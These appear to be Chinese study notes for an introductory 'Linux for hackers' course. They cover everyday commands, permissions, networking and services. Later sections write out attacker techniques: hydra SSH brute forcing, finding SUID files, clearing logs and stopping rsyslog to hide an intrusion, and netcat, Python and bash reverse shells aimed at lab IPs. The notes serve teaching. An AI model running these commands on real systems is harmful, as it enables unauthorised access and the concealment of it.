常用術語

binaries 二進制文件 可執行

/usr/bin 普通檔 如 cat

/usr/sbin 管理程序 如 halt(關機)

sudo 受權管理工具

sudo -l 查看授權列表

ctrl + l 清屏

rm -rf 刪除文件

ctrl + a 回到行首

ctrl + e 回到行尾

ctrl +w 刪除光標左側單詞

ESC+ . (或!$)調用上個命令的參數

sudo su - 切換到管理員

su -用戶 切換用戶身分 沒指定就默認 root 用戶

case sensitivity 區分大小寫

directory 目錄

home 每個用戶在/home 目錄下都有一個自己的家目錄

~ 表示家

root linux 下的管理員(超級用戶)

/root root 用戶的家目錄

script 脚本

一段可執行的代碼 python 最受歡迎

shell 在 linux 中運行命令的環境和解釋器

常用 shell 是 zsh

terminal 終端

命令行界面

passwd 更改密碼

-S 查看用戶密碼狀態

-l 鎖定指定的賬戶

-u 解鎖被指定的賬戶

用戶密碼文件 /etc/shadow

用戶帳戶文件 /etc/passwd

文件系統

linux 只有一個根 /
根是整個文件系統的入口(起始位置)
從根開始描述的路徑就稱絕對路徑

df 查看文件系統
-T 文件系統類型
-h 以適合的容量單位元顯示

/root
/boot 引導文件和內核文件
/home
/etc 系統配置文件
/mnt 常用的挂載點(mount point)--文件系統
對于設備訪問需要進行挂載才可以訪問
挂載(mount)就是把一個設備(文件系統)和一個目錄關聯
mount 設備(文件系統) 目錄
umount 設備 (卸除)
umount 挂載點 (卸除)
/dev 設備文件目錄
如/dev/cdrom 光盤 /dev/sda 第一塊 scsi 界面的硬盤
/media 常用挂載點--外部移動設備(如 U 盤、光盤)
/proc 虛擬文件系統 反映的是內核內部的數據信息
/sys 內核關于硬件的數據信息
/bin 普通程序
/sbin 管理程序
/lib 庫文件(相當于 windows 中的 dll 文件)
/usr 面向用戶級
/usr/bin
/usr/sbin
/usr/lib

常用命令
mkdir 創建目錄
mkdir -p 創建複目錄 (如 mkdir -p work/doc)
mkdir -p 創建複目錄 數字或英文編排 (如 mkdir -p work/{1..100})
mkdir -pv 創建多層目錄 (如 mkdir -pv work/{doc,app,script})
mkdir -pv 創建多層目錄 數字或英文編排 (如 mkdir -pv work/ doc{a..d})
doc 文檔 app 應用 bak 備份 script 脚本 exam 練習
rmdir 刪除空目錄
ls -l 查看目錄下對象詳細屬姓
ls -a 顯示隱藏文件(隱藏文件以.開頭)
ls -ld 查看目錄本身屬性
ls [文件] 查看文件是否存在
pwd 查看當前工作目錄

whoami 查看當前登入用戶

cd - 返回上次工作目錄
cd ~ 返回家目錄(或直接 cd 不加參數)
cd .. 返回上一級目錄(cd ../.. 上一級目錄的上一級目錄)
cd . 還是在當前目錄
cd ./work 進入當前目錄下的指定目錄

命令 --help 獲取幫助(或 -h)

man 查看連機手册
G 回手册最後一行
gg 回手册第一行
/ 關鍵詞 根據關鍵詞查找
q 退出
查找文件
locate 定位文件位置
基于自己的數據庫對文件查找(新建檔無法馬上找到，需要 updatedb 手動更新搜索數據庫)

匹配文件全給出
-n 3 顯示前三個結果
whereis 只找二進制文件(執行文件)

which 在 PATH 變量中查找可執行文件
//PATH 變量 路徑搜索變量 執行外部命令時，會在 PATH 變量中查找有無程序
echo $變量名 查看變量(路徑之間用冒號分割)

type 命令 判定命令是內部或外部

find 搜索功能强大
檔類型 名稱 屬主 屬組 大小 創建或修改時間 權限等
語法 find 路徑 選項 表達式(適當使用" ")
find / -type f -name apache2
-type 文件的類型 f 表示普通 d 表示目錄
-name 檔的名稱 可以支持通配符
//常用通配符 *任意(0 或多個)字符 ?單個字符 [， ，]一個列表

grep [選項] 模式[文件] 文件中過濾文本 常與 | 結合使用
grep ^h 過濾以 h 開頭文件
-r 遞歸(深入每一級目錄)
-i 忽略大小寫
-v 反向過濾(排除選項)
-E 擴展功能(如 grep -E " ^d|^f " 過濾以 d 或 f 開頭的文件)
// | 把前一個命令輸出當作最後一個命令的輸入 用于連接多個命令
// netstat -tunlp 查看埠
t tcp u udp n 數字形式顯示 l 顯示當前正在監聽的端口
p 哪個程序在使用該端口
// apache2 WEB 服務程序
// ps aux 顯示所有系統正在運行進程
// systemctl 系統服務控制工具(systemctl 命令 服務名稱)
start 啓動 stop 停止 restart 重啓 enable 設置服務爲開機啓動 disable 開機不啓動
is-enabled 查詢服務是否設置爲開機啓動 status 查詢服務狀態
// echo $? 查看命令執行狀况(輸出 0 爲正確執行)
// SSH 服務 成用于遠程連接(安全) tcp/22
// !n 調用上一次以 n 開頭指令
//chmod +x 檔案 添加可執行權限

文件和目錄的基本操作
cat (combine pieces togeter)
適合創建小文件 cat > hackingskill // ctrl+d 退出 //複位向 > (覆蓋) >>(追加)

touch 創建空文件(若文件已存在則更新時間)

cp 複製檔(支援通配符)
cp 源 目標(最後一個是目標)
cp oldfile copyfile
(如 cp oldfile /root/work/exam) (如 oldfile f1 /root/work/exam 將 oldfile 及 f1 複製到/root/work/exam)
-a 相當於 -dR 複製一個目錄
cp file1 file1.$(date +%F) //以年月日格式顯示 $(命令)要優先執行
得到 file1.2023-04-30
mv 文件重命名(若位置發生改變則是移動)
(如 mv oldfile newfile 重命名 oldfile) (如 mv oldfile 路徑 移動 oldfile)

rm 刪除目錄或文件(注意使用) //支持通配符
-r 刪除目錄下每個文件
-f 強制刪除
-i 刪除前詢問
常用檔類型
l 軟連接檔(類似 windows 的快捷方式)
d 目錄
- 普通檔

分析和管理網絡
ifconfig 查看和分析網絡
-a 查看所有接口

iwconfig 檢查無線設備

ifconfig eth0 down 停用第一塊有綫網卡(up 啓用)
//wlan0 第一塊無線網卡

ifconfig eth0 192.168.65.129 臨時更改 ip
使用默認子網掩碼 常用于排錯及調適網絡

ifconfig eth0 10.1.1.1 netmask 255.255.255.0
使用 netmask 指定子網掩碼

MAC 地址欺騙

MAC 地址(物理地址)是全球唯一的，48 位，16 進制表示
54-05-DB-3D-57-BF(windows) 00:0c:29:76:ad:98(linux)
防範-通常被用做一種安全措施，以防止黑客進入網絡，或追踪他們
攻擊-更改 MAC 地址來僞装成一個不同的 MAC 地址使上述安全措施無效

arp 協議 把 IP 地址解析成 MAC 地址

ifconfig eth0 down -> ifconfig eth0 hw ether 00:11:22:33:44:55 -> ifconfig eth0 up
更改 MAC 地址

macchanger -s eth0 查看 MAC 地址
macchanger eth0 -m 00:11:22:33:44:55 設置新 MAC 地址

通過 DHCP 服務器獲取 IP 地址
DHCP 協議 動態主機配置協議
server(服務器) UDP/67

dhclient linux 下 dhcp 客戶端調適工具
　　dhclient eth0 -r 釋放正在使用的 IP 地址
　　網絡參數配置
IP 地址/掩碼 ifconfig eth0 或 ip a
網關(默認路由 default) ip route show(ip r)
DNS　cat /etc/resolv.conf

修改網卡配置文件 /etc/network/
　　(1) 將 NetworkManager 服務關閉幷設置爲開機不啓動
systemctl stop NetworkManager-> systemctl disable NetworkManager
　　(2) 編輯文件 man interfaces
　　(3) 最後一行(iface lo inet loopback)的下一行加上
auto eth0 //啓動時啓動網卡
iface eth0 inet static //接口爲 eth0，地址指派方式爲靜態(static 手動方式)
　　address 192.168.195.76/24 //IP 地址
　　gateway 192.168.195.2 //網關
　　(4) 重啓 networking 服務 systemctl restart networking

DNS 的修改

/etc/resolv.conf
方法 1 vi 直接編輯
　　search qwfy.cn　//搜索域
　　nameserver 8.8.8.8　//DNS 服務器 最多指定 3 個
nameserver
nameserver

方法 2
　　echo “nameserver 223.6.6.6” >/etc/resolv.conf

方法 3
　　sed -i ‘s/nameserver 223.6.6.6/nameserver 8.8.8.8/’ /etc/resolv.conf
　　//sed 是非交互式文本編輯器
//-i 對原始檔內容進行修改
　　//’s/old/new/’ 查找替換 把 old 替換爲 new

vi 的基本應用

(1) 當使用 vi 編輯一個文件時，默認進入的模式是命令模式
(2) 由命令模式進入到插入模式(輸入 編輯等)
i (insert 插入)
a (append 追加)
o (open 打開) 在當前行的下一行開始輸入
(3) 由插入模式返回命令模式 esc
(4) 保存退出，按”:”進入末行(底行模式)
　　執行 wq 保存退出
　　執行 q! 保存不退出
　　執行 e!恢復文件最出打開的狀態
(5) :set　nu　顯示行號
　　set　nonu　取消行號

光標的快速移動

//刪除其實是剪下到剪貼簿
G　回到最後一行
gg　回到第一行
dd　刪除整行(2dd)
yy　複製一行(2yy)
cc　更改一行，進入到插入模式
d　刪除　//:100,155d
U　撤銷對一行做的改變
y　複製(yw 複製一個單詞)
x　刪除光標所在字符(10x)
~　大小寫互換
p　貼上
$行尾　0 行首
w　移動一個單詞到開頭(5w)
e　移動一個單詞到結尾(5e)
:set mouse=v　支持鼠標選中複製到剪貼版
ra　用 a 替換光標所在字符
R　進入替換模式，光標字符直接替換
u　撤銷(恢復上次) 可多次撤銷
[50]+回車　向下移動 50 行
k　向上移動一行
j　向下移動一行
44G　移動到 44 行　//相當於在末行模式下輸入 44
/　向下搜索
　　n 向下繼續查找　N 向上繼續查找
?　向上搜索
*　向下搜索光標所在單詞(完全匹配)　//g*是向上搜索
:e!　恢復文件至最初打開狀態
: 100,150s/old/new/　指定範圍內把 old 字符替換成 new
　　沒指定就是當前行，%s/old/new/g 代表全範圍(不加 g 只會替換美行的第一個匹配字符)
　　%表示整個編輯緩衝區　g 表示全局替換
　　%s/old/new/gc　更精細替換操作
vi　-x　file.txt　給文件加上密碼
　　:set　key=　清除密碼

維護 DNS

黑客可利用 DNS 收集信息
　　可能包含目標名稱服務器 IP 地址(A 紀錄-主機紀錄) 目標郵件服務器(MX 紀錄) 潛在子域名和 IP 地址

dig hackers-arise.com ns
dig hackers-arise.com mx
//向系統默認的 DNS 服務器查詢

dig hackers-arise.com mx @223.6.6.6
//向指定 DNS 服務器 223.6.6.6 查詢

dig qq.com any@223.6.6.6
//向指定 DNS 服務器查詢 qq.com 域中任意紀錄類型

dig +noall +answer mail.163.com any
//+noall 沒有任何輸出　+answer 只看應答輸出

dig +noall +answer -x 123.456.78.900 @223.6.6.6 反向查詢(-x)
//紀錄類型 PTR(指針紀錄)

kali 系統更新
(1) 查看發行版 lsb release -a
(2) 查看內核版本 uname -v 查看內核發行號 uname -r
(3) 軟件倉庫配置文件(以.list 結尾) 軟件存儲庫存儲在/etc/apt/sources.list 文件中
(4) 更新工具(命令) 一 apt-get update(更新軟件包的列表 //查看可更新軟件)
//解決更新軟件包列表失敗 apt-get update --fix-missing
二 apt-get upgrade(更新軟件包 //進行一次升級)
三 apt-get dist-upgrade(將系統升級到最新版本)
四 apt-get clean(清除更新痕迹) //可選
(5) 檢查版本是否更新成功
(6) 重啓系統幷做快照

軟件的安裝及查詢
atp-get 主要命令 通過軟件倉庫實現對軟件包的管理 可解決軟件包之間的相互依賴關係

apt-cache search keyword 查詢和顯示已安裝即可安裝軟件包的可用信息
apt-cache show keyword 詳細信息

apt-get install 軟件包名 安裝
apt-get remove 軟件包名 刪除(不會刪除配置文件)
apt-get purge 軟件包名 刪除(卸除幷清除軟件包的配置文件)

apt-file 根據命令搜索軟件包

dpkg 管理工具
-i 安裝 -r 刪除 -l 查看

tree 顯示目錄樹

git clone 從指定的倉庫地址把軟件代碼下載(複製)到本地
文本處理
一切皆文本
snort NIDS(網絡入侵檢測系統)

head 默認顯示前 10 行 適合大型文本
-20(顯示前 20 行) 不支持+
tail 默認顯示後 10 行 適合大型文本
-20(顯示後 20 行) +20(從 20 行顯示到最後) -f 隨文件增長及時輸出新增數據(可用于監視文件變化)

nl 路徑(文本) 顯示文件的行號(空行無行號)//= cat -b
wc -l 路徑(文本) 顯示文件的行號(統計行數)
cat -n 路徑(文本) 顯示文件的行號(空行也編號) 適合小型文本

cat 路徑(文本) |grep keyword 過濾符合 keyword 的行

// head -544 |tail -6 顯示 544 行及前 6 行(539~544)

sed -n '20,30p' 路徑(文本) 打印 20~30 行(p 表示打印)
cat -n 路徑(文本) |sed -n '538,544p' 打印 538~544 行

sed 's/mysql/MYSQL/' s(替換) s/old/new
sed 's/mysql/MYSQL/g' g(全域替換 可不加)
sed 's/mysql/MYSQL/2' 替換文本中出現第二次的

more 和 less 查看檔(分屏查看) 常與|一起使用(如 ls /etc | more)
more
回車-向下顯示一行 空格-向下顯示一屏 ↑-向上翻 ↓-向下翻 q-退出 /關鍵詞-查找(找到之後繼續查找 用 n)
!命令-調用命令執行 !/bin/bash-調用一個 shell 執行(可用于進行 shell 逃逸) v-進入 vi 模式進行文本編輯

less 大部分與 more 相同 關鍵詞查找時會高亮
gg-第一行 G-最後一行 也支持 shell -N-標示行號

/usr/share/wordlists 常用的口令字典文件位置(用于暴力破解密碼)

| wc-l 統計數量

sort 排序
命令將輸入文件看做由多條記錄組成的數據流，而記錄由可變寬度的字段組成，記錄之間以換行符作爲定界符，sort 命令與 awk 一樣，可將記錄分成多個域（字段，field)進行處現，默認的域分隔符是空格，也可以由用戶自行定義

sort 比較原則是從首字符向後依序比較，空字符串<數值<字母
字母是按照字母表的順序排序，小寫字母要排在大寫字母前(<a<A<b<B)(a1<A2) 最後按升序輸出。
-n 按數字大小排序 -u 刪除所有重複行 -r 逆序排列 -t 指定域分割符(非空格或 TAB) -k 指定排序的域
sort file.txt | uniq //排序後刪除重複

uniq 從一個文本中去除或禁止重複行(只去除相鄰且重複的行)
-c 顯示重複次數(可用於 IP 出現次數)
//可與 sort 配合使用

cut 文本擷取工具 從指定數據中洲取指定列幷將其內容拋弃的過濾器
-cn(第 n 字符 //空格也算字符) -cn,m(第 n 和第 m 字符) -cn-m(第 n 到第 m 字符) -cn-(第 n 到結尾)
-d(指定分割符) -f(指定域的字段數)

awk 處理文本的編程語言工具 linux 中最强大的數據處理引擎 在匹配行執行特殊操作
awk -0 patten {action} (awk -選項 觸發條件 {動作})
使用時機 從大量的原始數據中産生報告 從其他程序的輸出中總結信 當需要一個又小又快的文本處理程序時

文件比較

comm 逐行比較以排序的文件一和文件二
輸出三個列：第一列包含對第一個文件或參數唯一的行
第二列包含對第二個文件或參數唯一的行
第三列包含兩個文件共享的行
n 開關，其中“n 是 1、2 或 3，可以用來抑制一個或多個列，取决于需要
-1 不輸出第一列
-2 不輸出第二列
-3 不輸出第三列

diff 逐行比較各文件
輸出”-“ 表示該行出現在第一個文件中 但不在第二個文件中
輸出”+“ 表示該行出現在第二個文件中 但不在第一個文件中

vimdiff 進階用法

文件和目錄權限的控制
linux 常見權限
r 允許查看和打開 w 允許查看和編輯 x 允許用戶執行(如腳本、二進制文件)
ls-l
-rw-r--r-- 1 root root 0 9 月 10 10：23 secrettile
1 2 3 4 5 6 7 8
1-文件的類型 2-文件的權限 3-連接的數目 4-屬主 5-屬組 6-文件大小 7-時間 8-文件名
rw- r-- r--
屬主 u 屬組 g 其他人 o(除屬主及屬組外的人)
//rwx 讀 寫 執行 ---都無

權限位: r(4) w(2) x(1)
chmod 更改權限
    -R 遞歸更改(改目錄下所有目錄及文件)
    chmod u+x file 給屬主添加執行權限
    chmod u-x file 去除屬主執行權限
chmod u=x file 賦予屬主執行權限(屬主只有執行權限)
chmod +w file 只是給屬主添加寫權限
        chmod +x file 給所有用戶添加執行權限
            //chmod u+x,g=w,o-r file
    chmod 777 file
    chmod a+x file 給全部人添加執行權限(a 代表全部人) //也可以寫成 chmod +x file
    chmod -R 000 [目錄] 遞歸，更改目錄下所有文件
stat 查看文件詳細信息
    --help

刪除文件與用戶對文件權限無關，而是取決於文件所在目錄的權限
umask 設置文件(目錄)默認權限
可以把相應的權限從 linux 基本權限中掩去
        linux 默認文件分配 文件 666(rw-rw-rw-) 目錄 777(rwxrwxrwx)
//用戶家目錄下的 .profile 可自定義選項 開機時生效

更改文件的屬主和屬組
    useradd abc
    groupadd def

把用戶添加到組
    (一)gpasswd -a abc def //-a 加入組 -b 從組中移除
    (二)usermod -G abc def

//groups abc 查看所屬的主

更改文件的屬主
    chown -R abc file //-R 遞歸

更改文件的屬組
    (一)chgrp def file //支持-R
    (二)chown 屬主:屬組 文件
        //chown :def file(只改屬組) chown abc:def(都改)

特殊權限位
SUID 給用戶臨時 root 權限 作用于屬主
//用 find 尋找 SUID 目錄及文件
//查找哪些文件設置了 SUID 位
find / -perm -u=s -type f 2>/dev/null
find / -perm -4000 -type f 2>/dev/null

SGID 作用于屬組
    //針對目錄的作用
(1)普通用戶必須對該日錄擁有 rx 權限，才能進入此目錄
(2)普通用戶在該目錄中的有效組會變成該目錄的屬組
(3)若普通用戶對此日錄相有 w（可創建義件）權限時，新創生的文件的默認屬組是這個日錄的屬

    //查找哪些文件設置了 SUID 位或 SGID 位
find / -perm -4000 -o -perm -4000 -type f 2>/dev/null

Stick 粘貼位 通常用于目錄(公共的目錄，如/tmp) //每個用戶只能管理自己的文件
    chmod o+t dir
    --help

進程管理

進程是一個正在運行和使用資源的程序
　　查看 查找 發現占用系統資源比較多的進程 管理後臺的進程 進程優先級的調整 結束進程 進程調度(周期)執行

ps 進程查看
ps aux 查看所有進程的詳細信息
ps -elf 查看所有進程的詳細信息(優先級 父進程等)
ps -U 用戶 查看某用戶運行的進程(等于 ps -u 用戶)
pstree 查看進程樹
　　killall [-信號] [程序名] 結束進程樹
ps -p (2)(5-10)(“2 4 5”) 查看指定編號

top 找到占用資源比較多的進程 動態查看進程(默認五秒刷新一次)
k 殺死一個進程 r 調整進程的優先級
l 查看系統的平均負載
t 按照 cpu 占用（時間）排序
P 以 cpu 的使用資源排序
M 按照內存占用排序
P 按 CPU 占用大小排序
htop
　　默認沒安裝，更直觀，功能更多
　　atp-get install htop
　　選中進程按 F9，之後選擇信號值結束進程
程序的管理
程序之間是可以互相控制的，通過給予該程序一個信號(signal)去告知該程序你想要讓他作什麼
查看常用的信號值
kil1-l 或是 man 7 signal
常用的信號值
15/sigterm 正常結束一個進程 默認
9/sigkill 强制結束一個進程，副作用會有些半成品（如交換文件.swp 産生）
1/sighup 常用于重啓一個服務進程，重新讀取服務的配置
2/siqint 相當于 ctrl+c 中斷一個程序的運行
19/sigstop 相當于 ctrl+z，把程序放在後臺幷停止運行
結束一個進程
　　kill [信號] 進程 id(pid)
pidof 程序名 根據程序名查看進程號

jobs 查看後台任務

fg 任務編號 把後台任務調入到前臺運行

bg 任務編號 把後台任務啓動

進程常見狀態
R (runing):該程序正在運行：
S (sleep);該程序日前正在睡眠狀態(idle),但可以被喚醒(signal)
D: 不可被喚限的睡眠狀態，通常這種程序可能在等待 I/O 的情况(ex>打印)
T: 停止狀態(stop)
Z (zomhie):僵尸狀態，程序已經終止但却無法從內存被移除

pkill -u 用戶 踢掉在綫用戶

調整進程優先級
　　優先執行序(PRI)值越低越優先 // -20~19 默認爲 0
　　PRI(new) = PRI(old)+nice(調整值 -20~19)

ps -lef | grep 查看優先級
ps aux| grep 查看優先級

nice 運行時設置優先級
nice -n 10 ping ……

renice 改變正在運行的進程優先及級
    renice 5 進程 PID

top -u 用戶   查看指定用戶的動態進程列表

fg 程序名   調入前臺
bg 程序名   把後臺的停止任務啓動

任務的調度(安排任務執行時間)
    一次性 服務 atd
    周期性 服務 crond

管理用戶環境變量

變量本質是存儲數據的一個或多個計算機內存地址空間(命名的容器)用來存放各類型的數據

環境變量是構建在系統和接口中的系統範圍的變量，它們控制用戶對系統的外觀、行爲和感覺，并且它們由任何子 shell 或進程繼承

變量名=變量值
顯示變量 echo ${變量名}

export 變量   把變量導出爲全域變量

env 查看默認環境變量

set 查看宿變量，包含 shell 變量、本地變量和 shell 函數(如任何用定義的變量和命令別名)

unset 變量名   取消一個變量

修改環境變量(建議修改前對變量備份)
    方法 1 直接修改 用 export 導出
    方法 2 修改環境配置文件 用 export 導出
相關的壞境變量配置文件
全域
/etc/profile
/etc/profile.d/*.sh
/etc/bash.bashrc (Kali)
/etc/bashrc
用戶
用戶家目錄中
.profile
.bashrc
.zshrc

//source .zshrc 重新讀取腳本

更改 shell 提示符
    通過設置 PS1 變量的值來更改默認 shell 提示符的名稱

PS1 變量有一組占位符，用于顯示希望在提示符中顯示的信息
\u 當前用戶的名稱
\h 主機名

\W 當前工作目錄的基本名稱
\w 顯示完整工作目錄
//如 PS1=” world’s best hacker: “

改變 PATH 變量
向 PATH 變量添加一個新的路徑
PATH=$PATH:新的路徑，避免把一個目錄直接賦值個 PATH 變量

shell 編程

黑客必須具備腳本編寫的能力，至少熟悉一門編程語言

寫出第一個練習腳本 //腳本的擴展名通常以 sh 結尾
#!/bin/bash //第一行 告訴操作系統想爲脚本使用哪個解釋器
#this is my first bash script //#開頭為註釋
echo ”hello world” //印出……

//編寫完後給腳本添加可執行權限(chmod)

腳本的執行
./腳本名
文件名前的./告訴系統我們希望在 hello 所在的當前目錄文件中執行比脚本
還告訴系統如果在另一個名爲 hello 的目錄中有另一個文件，請忽略它，只在當前目錄中運行 hello
在執行文件時使用./是一個很好的方式

MySQL 使用端口 3306
ftp 使用端口 21
遠程桌而使用瑞口 3389

寫出一個黑客脚本(掃描開放端口)
#!/bin/bash
#this is my first bash script

nmap -sT 192.168.181.0/24 -p 21 >/dev/null -oG myscantmp.txt
cat myscantmp.txt | grep open | awk ‘{print $2}’ >myscan.txt
cat myscan.txt

改進成交互式(用戶可輸入 IP 及端口 用變量實現)
#!/bin/bash
#this is my first bash script

echo “cin scan network(ex:192.168.65.):”
read ipnet
echo ”cin scan start(ex:1):”
read firstoip
echo ”cin scan end(ex:40):”
read endip
echo ”cin port”
read prot

nmap -sT ${ ipnet }${ firstip }-{ endip } -p $port >/dev/null -oG myscantmp.txt
cat myscantmp.txt | grep open | awk ‘{print $2}’ >myscan.txt
cat myscan.txt

壓縮和歸檔(打包)
壓縮分有損和無損 對黑客而言完整性比壓縮比重要

tar 打包工具
將許多文件歸檔創建為一個文件 稱為歸檔文件、tar 文件、tar 包
-c 創建一個新歸檔 -f 指定 歸檔文件 -v 查看詳細信息 -t 列出歸檔內容 -x 解壓 -r 追加文件至歸檔結尾
tar -cf file.tar file1 file2 file3 //打包成 file.tar
tar -tvf file.tar //從 tar 包中顯示多個文件而不需要提取他們
tar -xf file.tar //解包
tar -rf file4 file.tar //追加

壓縮工具(對包文件進行壓縮)
gzip 擴展名 .tar.gz .tgz 中等 最常用
bzip2 擴展名 .tar.bz2 最慢 文件最小
compress 擴展名 .tar.z 最快 文件最大

gzip(適用通配符*)
gzip file.tar //壓縮
gzip -d file.tar //解壓縮
gunzip file.tar //解壓縮

compress(不常用)
compress file.tar //壓縮
compress -d file.tar //解壓縮
uncompress file.tar //解壓縮

//hashcat 高級的密碼(hash 口令)破解工具

.7z 解壓
7za(或 7z) x(解壓) file.7z -r(遞歸) -o./ (-o 後無空格，直接接位置)

dd 逐個比特位複製文件、文件系統，甚至整個硬盤驅動器。這意味著即使刪除的文什也會複製
cp 不會複製刪除的文件
典型的應用：(1)磁盘完整的副本製作 (2)電子取證 (3)不應該用於典型的文件和存處設備日常複製，因為非常慢
用法
dd if=輸入文件 of=輸出文件
選項
bs=單位大小(默認 512 字節) count=指定單位的數量 conv=noerror 遇到錯誤也會繼續複製

文件系統和存儲設備管理

/dev 設備文件
設備類型主要有兩種
b(塊設備)-存儲設備 c(字符設備)-如終端

df -T 查看文件系統類型

設備掛載和卸載
掛載 設備與文件系統關聯

日志系統管理
日志文件存儲關於操作系統和應用程序運行時發生的事件信息，包含任何錯誤和安全警報。作爲黑客，日志文件可以跟踪目標的活動和身份

日志服務
syslog 程序通常有兩個 rsyslog(kali)和 syslog-ng

日志規則基本語法
facility.priority action
facility 關建字引用正在記錄其消息的程序，例如郵件、內核或打印系統
priority 關鍵字決定爲該程序記錄哪種類型的消息
action 關鍵字引用將發送日志的位置

//日志文件通常被發到/var/log 目錄，其文件名描述為生成他們的工具

logrotate 自動清理日志(配置文件/etc/logrotate.conf)
通過將日志文件移動到其他位置來定其歸檔日志文件，指定時間(默認 4 周)後歸檔為志將被清理

日志的清理和刪除
從攻擊者角度，對日志的清理可以不讓系統留下入侵痕跡
//普通的刪除很可能被恢復，更好的方法是分解日志文件

(1)刪除活動的任何日志
sherd 刪除文件並多次覆蓋他
-f 更改文件的權限以便在需要更改權限時允許覆蓋
-n 選擇覆蓋次數(默認覆蓋 3 次)
(2)禁用日志紀錄
當黑客控制一個系統，可以立即禁用日志以防止系統追蹤
systemctl stop rsyslog //關閉日志服務

熟練使用服務

服務是在後台運行的應用程序，等待被使用，linux 稱 Daemon 進程

Apache 設置 web 服務器
OpenSSH 服務 遠程訪問
使用 MySQL 訪問數據 數據庫服務
PostgreSQL(數據庫服務) 存儲黑客信總，如在 MSF 中會使用 PostgreSQL

systemctl start|stop|restart|status(狀態)|enable(開機啟動)|disable(開機不啟動)|is-enabled(查詢是否開機啟動) 服務名稱

SSH 服務
能提供一個安全的遠程連接
tcp/22

遠程連接 SSH 服務器
nmap -p 22 192.168.65.128 //-p 指定掃描的端口
ssh 用戶名 @遠程主機 IP 之後輸入密碼 //-p 指定連接端口

針對 SSH 的暴力破解(不停嘗試密碼)
(1)準備一個口令字典
cat >> password_list <<EOF //最後輸入 EOF 退出
(2)準備一個口令破解工具
hydra 用戶登錄口令破解工具，支持多種登錄協議
基本用法
hydra -L user -P password_list ssh://192.168.0.1 //-L 指定登錄的用戶名 -P 口令字典文件 -s 指定端口

防範 SSH 口令暴力破解
(1)更改默認配制端口
port1234

netstat -tnlp | grep “sshd”

黑客 nmap -p 1-65535 192.168.65.128 掃描開放端口(-p-掃描全端口)

nmap -sV -p- 192.168.65.128(-sV 探測服務版本)

(2)設置複雜密碼且定期更改口令

(3)使用密鑰認證

(4)定期察看安全日志文件

(5)TCP Wrapper

先檢查/etc/hosts.allow 是否允許，允許則直接放行，若沒有再看/etc/hosts.deny 是否禁止，沒禁止就允許連接

推薦使用白名單機制/etc/hosts.allow

/etc/hosts.allow

sshd:192.168.65.128 //只允許 192.168.65.128 訪問

sshd:ALL:deny //拒絕其他主機訪問

/etc/hosts.deny

sshd:ALL //拒絕其他主機訪問

(6)使用 DenyHosts、Fail2ban 類似的安全工具 //偵測訪問次數，過多則加入黑名單

(7)給 SSH 服務加上隱形斗篷

透過 Knockd(端口敲門)服務將 SSH 服務隱藏起來

[1]安裝 Knockd 服務

[2]Knockd 服務配置文件

/etc/Knockd.conf

Mysql

在現代的 web2.0 技術時代(交互)，幾乎每個網站都是由數據庫驅動的

Mysql 就是互聯網上廣為使用的數據庫系統

數據庫是黑客首選攻擊目標，很多 web 應用把 Mysql 作為數據庫的首選

啟動 Mysql

端口 3306

lsof -i : 3306

systemctl start mysql

netstat -tnlp | grep mariadbd

連接數據庫

musql -u root -p //-u 指定連接的用戶名 -p 指定連接的密碼

select version(); //查詢當前數據庫版本

select user(); //查詢當前用戶

select database(); //查詢當前操作數據庫

show database; //查詢數據庫

show tables; //查看數據庫的表

select user,host,password form mysql.user; //查詢用戶信息

netchat(nc)

借助 tcp/IP 連接來傳輸數據

主要功能

獲取 banner 信息

遠程控制

傳輸文件

基本用法

(1) connect to somewhere　連接某個主機-nc 的客戶機

nc　[-options]　hostname　port[s]　[ports]

(2) listen for inbound　偵聽-nc 的服務端

nc　-l　-p　port　[-options]　[hostname]　[port]　// -l 偵聽模式　-p 指定監聽端口

使用 nc 作為 chat/messageing server(聊天服務器)

PC1(192.168.195.76)　nc　-l　-p　2266 服務端

PC2　nc　-nv　192.168.65.128　2266　客戶端

// -n 僅使用數字地址，不做 DNS 解析　-v 顯示詳細信息，如果使用兩次以上會看到更詳細的信息

-q 傳輸結束等待多長時間(秒)後結束連接

擴展功能 電子取證、獲取遠程計算機訊息

服務端 nc　-l　-p　2266　> file.txt

客戶端 ls | nc　-nv　192.168.65.128　2266　-q　2

nc 傳輸文件

接收端(服務端) nc　-l　-p　2266 > file.txt

發送端(客戶端) nc　-nv　192.168.65.128　2266 < /etc/recolv.conf　-q　3

三台機器(PC1->PC2->PC3)

PC1(發送端 128) nc　-nv　192.168.65.50　2266 < sending_file.txt　-q　3

PC2(中間人 50)　nc　-lnvp　|　nc　-nv　192.168.65.32　2266

PC3(接收端 32)　nc　-lnvp　2266　> accept_file.txt

nc 傳輸目錄

//linux 中單個減號代表輸入輸出流

(1)用 tar 打包成一個文件

發送端 tar　cf　-　exam | nc　192.168.65.128　2266　//壓縮並發送

接收端 nc　-lnvp　2266 | tar　xf　-　//接收並解壓

nc 遠程控制

-c

-e

當 nc 連接成功後可以運行指定的命令

(1)正向連接

//會受防火牆影響

//從攻擊者角度，目標用 nc 開啟了一個服務端口，攻擊者連接相應端口，獲得相應的 shell

目標(xp) nc　-lnvp　2266　-e　cmd.exe　服務端

攻擊者(kali) nc　-nv　192.168.65.112　2266　客戶端

目標(msf) /bin/bash　/bin/sh

攻擊者(xp)

//python -c 'import pty;pty.spawn("/bin/bash")' 獲得交互式 shell

//python -c 'import pty;pty.spawn("/bin/sh")' 獲得交互式 shell

(2)反向連接(反彈式 shell)

//攻擊長開啟了一個服務端口，等待目標連接，當目標連接成功後把 shell 綁定到連接上

//從目標角度，這是一個出站連接，出站連接通常不受防火牆阻擋

攻擊者(kali)(服務端) nc　-lnvp　2266

目標(xp)(客戶端) nc　-nv　192.168.65.128　2266　-e　cmd.exe

python2 建立反彈式 shell

//當目標沒有 nc

kali(攻擊端)

xp(目標)(192.168.195.76)　python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connet(("192.168.195.76",12306));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

bash 建立反彈式 shell

bash　-i　> & /dev/tcp/攻擊端 IP/攻擊端監聽端口 0 > &1　//bash -i 打開一個交互式 shell

&符號 用於區分文件和文件描述符

>&+文件　&後面跟文件時，表示將標準輸出和標準錯誤輸出重定向至文件
>&+數字　&後面跟數字時，表示後面的數字是文件描述符，不加&則會把後而的數字當成文件
文件描述符 0(標準輸入重定向)　1(標準輸出重定向)　2(標準錯誤輸出重定向)
